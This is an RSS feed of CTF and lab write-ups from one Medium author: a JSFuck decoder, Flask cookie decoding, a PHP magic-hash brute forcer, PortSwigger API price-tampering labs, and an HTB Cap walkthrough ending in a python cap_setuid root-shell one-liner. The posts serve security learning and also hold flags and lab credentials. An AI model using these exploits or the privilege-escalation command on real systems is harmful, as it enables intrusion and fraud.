longest captured string is the program.<br><br>const fs = require(&#39;fs&#39;);<br>const vm = require(&#39;vm&#39;);<br><br>const file = process.argv[2];<br>if (!file) { console.error(&#39;usage: node decode.js &lt;file.html|file.js&gt;&#39;); process.exit(1); }<br><br>const raw = fs.readFileSync(file, &#39;utf8&#39;);<br><br>// --- extract the JSFuck expression ---------------------------------------<br>function extract(s) {<br>  // 1) onsubmit handler form<br>  let m = s.match(/onsubmit\s*=\s*function\s*\([^)]*\)\s*\{([\s\S]*?)return\s+false\s*;/);<br>  if (m) return { jsf: m[1].trim(), how: &#39;onsubmit handler&#39; };<br>  // 2) by JSFuck signature: first &quot;[][&quot; up to return false / &lt;/script&gt; / EOF<br>  const start = s.indexOf(&#39;[][&#39;);<br>  if (start !== -1) {<br>    const rest = s.slice(start);<br>    const end = rest.search(/return\s+false|&lt;\/script&gt;/);<br>    return { jsf: (end !== -1 ? rest.slice(0, end) : rest).trim(), how: &#39;signature [][ scan&#39; };<br>  }<br>  return { jsf: s.trim(), how: &#39;whole file (no JSFuck signature found!)&#39; };<br>}<br><br>const { jsf, how } = extract(raw);<br><br>// --- diagnostics ----------------------------------------------------------<br>console.error(`[i] file bytes        : ${raw.length}`);<br>console.error(`[i] extracted via     : ${how}`);<br>console.error(`[i] expression length : ${jsf.length}`);<br>console.error(`[i] starts with       : ${jsf.slice(0, 40)}`);<br>console.error(`[i] ends with         : ${jsf.slice(-40)}`);<br>const opens = (jsf.match(/\(/g) || []).length, closes = (jsf.match(/\)/g) || []).length;<br>console.error(`[i] parens ( vs )     : ${opens} / ${closes}${opens !== closes ? &#39;  &lt;-- UNBALANCED (file is likely truncated)&#39; : &#39;&#39;}`);<br>console.error(&#39;&#39;);<br><br>// --- run with a recording proxy ------------------------------------------<br>const sandbox = { __cap: [], Reflect, Proxy };<br>vm.createContext(sandbox);<br>vm.runInContext(`<br>  const Real = Function;<br>  Function.prototype.constructor = new Proxy(Real, {<br>    apply(t, thisArg, args) { __cap.push(args[args.length - 1]); return Reflect.apply(t, thisArg, args); },<br>    construct(t, args)      { __cap.push(args[args.length - 1]); return Reflect.construct(t, args); }<br>  });<br>`, sandbox);<br><br>try {<br>  vm.runInContext(jsf, sandbox);<br>} catch (e) {<br>  // ReferenceError: document/window/alert not defined  -&gt; expected, payload already captured.<br>  // SyntaxError: Unexpected end of input               -&gt; file is truncated, re-fetch it.<br>  console.error(`[i] run threw ${e.name}: ${e.message}`);<br>  console.error(&#39;    (ReferenceError about document/window/alert is normal -&gt; capture still works)&#39;);<br>  console.error(&#39;    (SyntaxError &quot;Unexpected end of input&quot; means the file is truncated)\n&#39;);<br>}<br><br>const captured = sandbox.__cap.slice().sort((a, b) =&gt; b.length - a.length);<br>if (!captured.length) {<br>  console.error(&#39;Nothing captured. Most likely the file is incomplete -- check the parens line above and re-fetch.&#39;);<br>  process.exit(2);<br>}<br><br>console.log(&#39;=== decoded payload (longest capture) ===\n&#39;);<br>console.log(captured[0]);<br>if (captured.length &gt; 1) {<br>  console.log(`\n=== ${captured.length - 1} smaller helper fragment(s) also captured (usually ignorable) ===`);<br>}</pre><ul><li>The credentials are sitting in the source and the design is a wink:<br> username the_flag_is, password is the flag. There sis no need to login at all, you already have it from the bytes the server handed the browser.</li><li>The flag intended format is:</li></ul><pre>247CTF{6c91b7f7f12c852f892293d16dba0148}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec233ab2f3d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[247ctf SecuredSession Writeup]]></title>
            <link>https://medium.com/@ericmpta/247ctf-securedsession-writeup-b4f49da9dfde?source=rss-a785ff15d310------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4f49da9dfde</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[websecurity-testing]]></category>
            <category><![CDATA[247ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[Ericmpta]]></dc:creator>
            <pubDate>Sun, 14 Jun 2026 05:22:46 GMT</pubDate>
            <atom:updated>2026-06-14T05:22:46.217Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QyqYy8Z9VXIn6mWR1us1yQ.png" /></figure><p>If you can guess our random secret key, we will tell you the flag securely stored in your session.</p><ul><li>Skip the secret key parameter because its a dead end by design.</li><li>The bug is in one line up:</li></ul><pre>session[&#39;flag&#39;] = flag</pre><ul><li>The default session of flask is signed and not encrypted. The flag gets serialized into the session cookie and handed back in the Set-Cookie header on every request to /flag.</li><li>First step:</li></ul><p>Grab the cookie:</p><pre>curl -sv https://a1164a0ab36f98ff.247ctf.com/flag 2&gt;&amp;1 | grep -i set-cookie</pre><p>Decode the cookie using 3 options:</p><ol><li>Flask unsign:</li></ol><pre>flask-unsign --decode --cookie &#39;session=&lt;paste the whole value&gt;&#39;</pre><p>2. Manually through:</p><pre> echo &#39;&lt;payload&gt;&#39; | base64 -d 2&gt;/dev/null </pre><p>3. Using cyber chef where we convert from base 64 to ASCII text.</p><p>The cookie was double encoded :</p><ul><li>The first layer isa clask session payload (URL-safe base64): decodes to {“flag}:{“b”:”..”}}.</li><li>The “ b” key is a Flask’s TaggedJSONSerializer tag for a bytes object because the flag from flag.py is bytes, not a str. Flask base64-encodes bytes values inside the JSON.</li></ul><p>The flag:<br> 247CTF{da80795f8a5cab2e037d7385807b9a91}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4f49da9dfde" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[247ctf COMPARE THE PAIR]]></title>
            <link>https://medium.com/@ericmpta/247ctf-compare-the-pair-f81977a85687?source=rss-a785ff15d310------2</link>
            <guid isPermaLink="false">https://medium.com/p/f81977a85687</guid>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[247ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ericmpta]]></dc:creator>
            <pubDate>Sun, 14 Jun 2026 05:18:23 GMT</pubDate>
            <atom:updated>2026-06-14T05:18:23.051Z</atom:updated>
            <content:encoded><![CDATA[<p>The challenge is to identify a way of bypassing the login logic. MD5 is supposed to be a one-way function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*INZFj1zLJY23qm6dwz6-Ag.png" /></figure><p>MD5 being one-way is irrelevant since we are not reversing anything. The bug is in the comparison operator, not the has.Looking at this line:</p><pre>```<br>if(md5($salt . $_GET[&#39;password&#39;]) == $password_hash)</pre><ul><li>Two things actually matter: ‘==’ (loose comparison) and passwordhash = 0e90256443569127414249092301303</li><li>The win condition is to produce passwords whose<br> md5(salt .password) also collapses to 0e\d+. Then one gets : 0==0 is true</li><li>The salt is fixed at f789bbc328a3d1a3 and it is known, you just need to brute-force the passwords until one produces a magic hash,</li><li>Using this script to brute force a password to use:</li></ul><pre>  #!/usr/bin/env python3<br>&quot;&quot;&quot;<br>Magic-hash brute forcer for PHP loose-comparison (==) auth bypass.<br><br>The target compares md5(salt . password) == password_hash using PHP&#39;s loose<br>&#39;==&#39;. Any string matching ^0e\\d+$ is coerced to numeric 0, so we don&#39;t need<br>to reproduce the exact target hash -- we just need ANY password whose<br>md5(salt . password) also collapses to a 0e&lt;all-digits&gt; magic hash. Then<br>0 == 0 is true and the check passes.<br><br>Only useful when the salt is known and static (offline grinding).<br>&quot;&quot;&quot;<br><br>import hashlib<br>import itertools<br>import string<br>import re<br>import time<br>import argparse<br><br># Matches a PHP &quot;magic hash&quot;: 0e followed by digits only -&gt; numeric 0 under ==<br>MAGIC = re.compile(r&#39;^0e[0-9]+$&#39;)<br><br><br>def brute(salt: str, charset: str, max_len: int):<br>    start = time.time()<br>    count = 0<br>    for length in range(1, max_len + 1):<br>        for combo in itertools.product(charset, repeat=length):<br>            pw = &#39;&#39;.join(combo)<br>            h = hashlib.md5((salt + pw).encode()).hexdigest()<br>            count += 1<br>            if MAGIC.match(h):<br>                elapsed = time.time() - start<br>                return pw, h, count, elapsed<br>            if count % 5_000_000 == 0:<br>                print(f&quot;...{count:,} tried, {time.time()-start:.1f}s, &quot;<br>                      f&quot;last={pw}&quot;, flush=True)<br>    return None, None, count, time.time() - start<br><br><br>def main():<br>    p = argparse.ArgumentParser(description=&quot;PHP magic-hash brute forcer&quot;)<br>    p.add_argument(&quot;--salt&quot;, default=&quot;f789bbc328a3d1a3&quot;,<br>                   help=&quot;known static salt prepended to the password&quot;)<br>    p.add_argument(&quot;--target&quot;, default=&quot;0e902564435691274142490923013038&quot;,<br>                   help=&quot;stored password_hash (informational only)&quot;)<br>    p.add_argument(&quot;--charset&quot;, default=string.ascii_lowercase + string.digits,<br>                   help=&quot;characters to try&quot;)<br>    p.add_argument(&quot;--max-len&quot;, type=int, default=6,<br>                   help=&quot;max password length to search&quot;)<br>    args = p.parse_args()<br><br>    # Sanity check: confirm the target itself is a magic hash, else this<br>    # whole approach doesn&#39;t apply.<br>    if not MAGIC.match(args.target):<br>        print(f&quot;[!] Target {args.target} is NOT a 0e magic hash. &quot;<br>              f&quot;Loose-comparison bypass will not work here.&quot;)<br>        return<br><br>    print(f&quot;[*] salt={args.salt}  target={args.target}&quot;)<br>    print(f&quot;[*] searching charset of {len(args.charset)} chars &quot;<br>          f&quot;up to length {args.max_len}\n&quot;)<br><br>    pw, h, count, elapsed = brute(args.salt, args.charset, args.max_len)<br><br>    if pw is None:<br>        print(f&quot;\n[-] No magic hash found in {count:,} candidates &quot;<br>              f&quot;({elapsed:.1f}s). Widen --charset or raise --max-len.&quot;)<br>    else:<br>        print(f&quot;\n[+] FOUND&quot;)<br>        print(f&quot;    password           : {pw}&quot;)<br>        print(f&quot;    md5(salt+password) : {h}&quot;)<br>        print(f&quot;    candidates tried   : {count:,}&quot;)<br>        print(f&quot;    time               : {elapsed:.1f}s&quot;)<br>        print(f&quot;\n    submit:  ?password={pw}&quot;)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><ul><li>A magic hash needs the form 0e followed by 30 digits. Probably per random MD5 is roughly (1/16)·(1/16)·(10/16)³⁰ ≈ 1 in 470 million. The salt being known and static is makes it traceable; if the salt were per-user and secret, one couldn’t pre compute or grind offline.</li><li>The fix is one character. Change == to = . Strict comparison checks the type and value, never coerces, so “0e369…” = “0e902…” is a plain string mismatch that is false.</li><li>Every magic-hash attack on a comparison dies instanty.</li><li>The real world version is dont compare the password hashes with == / === at all if there’s any attacker-controlled timing surface — use hash_equals() for constant-time comparison.</li><li>MD5 for password storage is broken regardless of the comparison operator.</li><li>In most scenarios the finding is “MD5 + loose compare for auth , “ and the remediation is a real password hashing function (Argon2/bcrypt) with its own verify call, not a band-aid on the operator.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*Ki801lc4vV7otFRyyt6UQA.png" /></figure><ul><li>Using the password:</li></ul><pre>md5(&quot;f789bbc328a3d1a3&quot; . &quot;az038r&quot;) = 0e369596590448350458602649458011</pre><ul><li>Then submit the password in the url and get the flag</li></ul><pre>?password=az038r</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*IWgYreOjTZNdQlMm3TXWXg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f81977a85687" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting a mass assignment vulnerability]]></title>
            <link>https://medium.com/@ericmpta/exploiting-a-mass-assignment-vulnerability-358027677e3e?source=rss-a785ff15d310------2</link>
            <guid isPermaLink="false">https://medium.com/p/358027677e3e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[burpsuite]]></category>
            <dc:creator><![CDATA[Ericmpta]]></dc:creator>
            <pubDate>Mon, 25 May 2026 21:33:12 GMT</pubDate>
            <atom:updated>2026-05-25T21:33:12.631Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Wc6lnJ3bUlHmNIss9a5Jw.png" /></figure><ul><li>In Burp’s browser, log in to the application using the credentials:</li></ul><pre>wiener:peter</pre><ul><li>Select the black jacket upto checkout stage and add it to the basket.</li><li>Go to the basket and Place Order.</li><li>Head to the Proxy HTTP Histpry and notice the request endpoint /api/checkout</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bH2DYL6yPfROSLNC1hVErA.png" /></figure><ul><li>Using OPTIONS to identify the acceptable methods in the request:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*csRbiVB407QkM_xkJWTIqQ.png" /></figure><ul><li>Using GET method there is a discount on chosen products, noting that the chosen product is the jacket.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZXi20T228s-j31U4R8ccYA.png" /></figure><p>Change the request method to POST and add the chosen_discount to the payload making it to 100 percent discount and the price of the jacket will result to 0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IhTxqcs9QPWm0YU5ImdcPw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=358027677e3e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding and exploiting an unused API endpoint- PortSwigger]]></title>
            <link>https://medium.com/@ericmpta/finding-and-exploiting-an-unused-api-endpoint-portswigger-1041b532f284?source=rss-a785ff15d310------2</link>
            <guid isPermaLink="false">https://medium.com/p/1041b532f284</guid>
            <category><![CDATA[cybersecruity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Ericmpta]]></dc:creator>
            <pubDate>Sun, 24 May 2026 05:41:23 GMT</pubDate>
            <atom:updated>2026-05-24T05:41:23.772Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZXKisK-XHkHFacizbUKb-Q.png" /></figure><p>To solve the lab, exploit a hidden API endpoint to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials:</p><pre>wiener:peter</pre><p>To solve the lab, there is need to understand:</p><ul><li>how to use error messages in constructing valid error requests.</li><li>How HTTP methods are used by RESTful APIs</li></ul><p>Recon:</p><ul><li>Notice the API requests in Burp, in our case /api/products/1/price</li><li>Send the request to Repeater</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O960AJlrNOIoaQkq41C_XA.png" /></figure><p>Enumeration</p><p>Change the method of the Request from GET to OPTIONS to discover the acceptable methods that are allowed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MS3c7QbCSm8cUF_s_nEfLg.png" /></figure><ul><li>Change to method from GET to PATCH</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I3GEEmtuJLxxmi0GFnCFNw.png" /></figure><ul><li>The request now should change as it accepts Content-Type: application/json to alter the price of the jacket to 0.00</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qeOrcMTwPNWZ_fYWrbvBpg.png" /></figure><p>That enables the change in the price of the jacket to what our user can purchase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bSEihWcof1jAgseZWJ_B_w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1041b532f284" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cap Machine]]></title>
            <link>https://medium.com/@ericmpta/cap-machine-94a437fb0c6f?source=rss-a785ff15d310------2</link>
            <guid isPermaLink="false">https://medium.com/p/94a437fb0c6f</guid>
            <category><![CDATA[hacks]]></category>
            <category><![CDATA[cap]]></category>
            <category><![CDATA[network-security]]></category>
            <dc:creator><![CDATA[Ericmpta]]></dc:creator>
            <pubDate>Sat, 16 May 2026 06:21:24 GMT</pubDate>
            <atom:updated>2026-05-16T06:21:24.903Z</atom:updated>
            <content:encoded><![CDATA[<p>Task 1: Reconnaissance and Enumeration</p><pre>rustscan -a 10.129.60.31 -- -A -sV -sC</pre><p>The command combines rustscan’s rapid port discovery with nmap’s powerful -A (aggressive scan), -sC(default scripts), and -sV(version enumeration) flags. After a short wait, the results painted a clear picture of the machine&#39;s public facing services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*22lE1sTFwENz4OLrXprUrQ.png" /></figure><p>The scan unveiled 3 open TCP ports:</p><ul><li>port 21: running vsftpd, a common ftp server.</li><li>port 22: hosting an openssh server</li><li>port 80: running a HTTP Gunicorn server.<br> This helped in answering the first task.<br> Task 1: How many TCP ports are open?<br> 3</li></ul><p>Web Enumeration and Finding the Flow<br> After the initial scan is done, I went ahead to the home page of 10.129.60.31 where there was a security dashboard.</p><pre>netstat 10.129.60.31</pre><p>The network statistics returned the live output of the commands from the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*9RTSD3mWab9rP9qlGVyZJg.png" /></figure><p>However, this was not satisfying.<br> The system has Insecure Direct Object Reference(IDOR) vulnerability that is presented when downloading a snapshot, the snapshot has id’s , thus you can be able to view a download file for another user.</p><p>Task 2:<br> After running a “Security Snapshot”, the browser is redirected to a path of the format /[something]/[id], where [id] represents the id number of the scan. What is the [something]?<br> data</p><p>Task 3:<br> Are you able to get to other users’ scans?<br> yes<br> Changing on the id, would give a different scan result confirming that you could view other users data.</p><p>Network Traffic<br> Task 4:<br> What is the ID of the PCAP file that contains sensative data?<br> 0<br> I downloaded the 0.pcap file and opened it usign wireshark.<br> After noticing the ftp protocol, I filtered the same, did a follow through and a tcp stream and got the user: nathan and password: Buck3tH4TF0RM3!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*hUXfFcBr1sgZCcjSK2I8ZQ.png" /></figure><p>Task 5:<br> Which application layer protocol in the pcap file can the sensetive data be found in?<br> ftp</p><p>Task 6:<br> We’ve managed to collect nathan’s FTP password. On what other service does this password work?<br> ssh</p><pre>ssh nathan@10.129.60.31</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*RRC06stQl4JNgh1xOZI-hg.png" /></figure><p>User Flag captured:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*zuWlTR-swtpJ_7r6hHAyoQ.png" /></figure><p>Task 8: Root Flag<br> The getcap utility scans the filesystem for binaries granted kernel-level privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*xfUJ8OmwpHjzWwe2QMvGew.png" /></figure><p>The output included<br> /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip</p><p>The cap_setuid allows a process to manipulate the user ID.<br> Performed this exploit :</p><pre>nathan@cap:~$ /usr/bin/python3.8 -c &#39;import os,pty; os.setresuid(0,0,0); pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*9WS1ACfAx3nA7DQ6N1-M_Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94a437fb0c6f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WIRESHARK]]></title>
            <link>https://medium.com/@ericmpta/wireshark-6a7ed365c30a?source=rss-a785ff15d310------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a7ed365c30a</guid>
            <dc:creator><![CDATA[Ericmpta]]></dc:creator>
            <pubDate>Mon, 09 Jun 2025 18:25:25 GMT</pubDate>
            <atom:updated>2025-06-09T18:27:13.231Z</atom:updated>
            <content:encoded><![CDATA[<h3>Install in Linux</h3><pre>sudo apt update<br>sudo apt install wireshark</pre><p>During installation:</p><p>Say <strong>Yes</strong> if it asks whether non-root users should be allowed to capture packets.</p><p><strong>Start Wireshark</strong></p><pre>wireshark</pre><p>Choosing a network interface:</p><p>On the Wireshark homescree, you will see a list of interfaces like:</p><ul><li>eth0(Ethernet)</li><li>wlan0 (WI-FI)</li><li>lo (loopback)</li></ul><p>Make sure to select the active network.</p><p>Click the blue shark icon to start the capturing.</p><p>How to generate traffic:</p><ul><li>open a browser and go to a website like:</li></ul><pre>https://example.com</pre><p>This will result in a DNS, TCP and HTTPS traffic.</p><ul><li>Stop the capture.</li></ul><p>By clicking the red square at the top left in the wireshark, you are stopping the capture.</p><p>Your screen now shows a list of packets</p><p>Each row is a packet, and each column shows:</p><ul><li>No — Packet number</li><li>Time- Timestamp</li><li>Source — where it came from</li><li>Destination — where its going</li><li>Protocol — eg tcp, UDP, DNS</li><li>Length — size in bytes.</li><li>info — summary like HTTP, GET, SYN</li></ul><p>The common use cases include:</p><ul><li>troubleshooting network issues.</li><li>analyzing malware or suspicious traffic.</li><li>learning how protocols work.</li><li>detecting network-based attacks.</li><li>reverse engineering applications.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a7ed365c30a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>